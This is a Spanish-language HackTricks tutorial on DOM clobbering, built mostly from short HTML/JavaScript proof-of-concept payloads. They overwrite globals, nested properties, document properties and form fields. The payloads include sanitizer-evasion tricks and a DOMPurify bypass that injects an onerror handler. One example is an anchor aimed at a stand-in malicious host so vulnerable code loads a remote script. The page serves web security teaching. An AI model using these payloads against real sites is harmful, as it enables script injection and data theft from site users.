Dom Clobbering

Support HackTricks

Basics

Es posible generar variables globales dentro del contexto JS con los atributos id y name en las etiquetas HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Solo ciertos elementos pueden usar el atributo name para clobber globals, son: embed, form, iframe, image, img y object.

Curiosamente, cuando usas un elemento form para clobber una variable, obtendrás el valor toString del elemento en sí: [object HTMLFormElement] pero con anchor el toString será el href del ancla. Por lo tanto, si clobber usando la etiqueta a, puedes controlar el valor cuando se trata como una cadena:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

También es posible sobrescribir un array y atributos de objetos:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Para sobrescribir un 3er atributo (por ejemplo, x.y.z), necesitas usar un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering más atributos es más complicado pero aún posible, usando iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

La etiqueta de estilo se utiliza para dar suficiente tiempo al iframe para renderizarse. Sin ella, encontrarás una alerta de undefined.

Para sobrescribir atributos más profundos, puedes usar iframes con codificación html de esta manera:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Evasión de Filtros

Si un filtro está iterando a través de las propiedades de un nodo usando algo como document.getElementByID('x').attributes, podrías sobrescribir el atributo .attributes y romper el filtro. Otras propiedades del DOM como tagName, nodeName o parentNode y más también son sobrescribibles.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

En JavaScript es común encontrar:

var someObject = window.someObject || {};

Manipular HTML en la página permite sobrescribir someObject con un nodo DOM, lo que potencialmente introduce vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar someObject con un elemento de anclaje que apunte a un script malicioso:

<a id=someObject href=//malicious-website.com/malicious.js></a>

En un código vulnerable como:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Este método explota la fuente del script para ejecutar código no deseado.

Truco: DOMPurify te permite usar el cid: protocolo, que no codifica en URL las comillas dobles. Esto significa que puedes inyectar una comilla doble codificada que será decodificada en tiempo de ejecución. Por lo tanto, inyectar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> hará que la HTML codificada &quot; sea decodificada en tiempo de ejecución y escape del valor del atributo para crear el evento onerror.

Otra técnica utiliza un elemento form. Ciertas bibliotecas del lado del cliente inspeccionan los atributos de un nuevo elemento de formulario creado para limpiarlos. Sin embargo, al agregar un input con id=attributes dentro del formulario, efectivamente sobrescribes la propiedad de atributos, impidiendo que el sanitizador acceda a los atributos reales.

Puedes encontrar un ejemplo de este tipo de clobbering en este CTF writeup.

Clobbering del objeto documento

Según la documentación, es posible sobrescribir atributos del objeto documento utilizando DOM Clobbering:

La interfaz Document soporta propiedades nombradas. Los nombres de propiedades soportados de un objeto Document en cualquier momento consisten en lo siguiente, en orden de árbol de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos id que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:

- El valor del atributo de contenido name para todos los elementos embed, form, iframe, img, y object que tienen un atributo de contenido name no vacío y están en un árbol de documento con documento como su raíz; - El valor del atributo de contenido id para todos los elementos object que tienen un atributo de contenido id no vacío y están en un árbol de documento con documento como su raíz; - El valor del atributo de contenido id para todos los elementos img que tienen tanto un atributo de contenido id no vacío como un atributo de contenido name no vacío, y están en un árbol de documento con documento como su raíz.

Usando esta técnica, puedes sobrescribir valores comúnmente utilizados como document.cookie, document.body, document.children, e incluso métodos en la interfaz Document como document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Escribir después del elemento clobbering

Los resultados de las llamadas a document.getElementById() y document.querySelector() pueden ser alterados al inyectar una etiqueta <html> o <body> con un atributo id idéntico. Así es como se puede hacer:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede prevenir la interferencia de otro texto en el innerText, mejorando así la eficacia del ataque:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Investigaciones sobre SVG revelaron que una etiqueta <body> también puede ser utilizada de manera efectiva:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesaria una etiqueta <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Es posible agregar nuevas entradas dentro de un formulario simplemente especificando el atributo form dentro de algunas etiquetas. Puedes usar esto para agregar nuevos valores dentro de un formulario e incluso para agregar un botón nuevo para enviarlo (clickjacking o abusar de algún código JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Referencias

Apoya a HackTricks

Last updated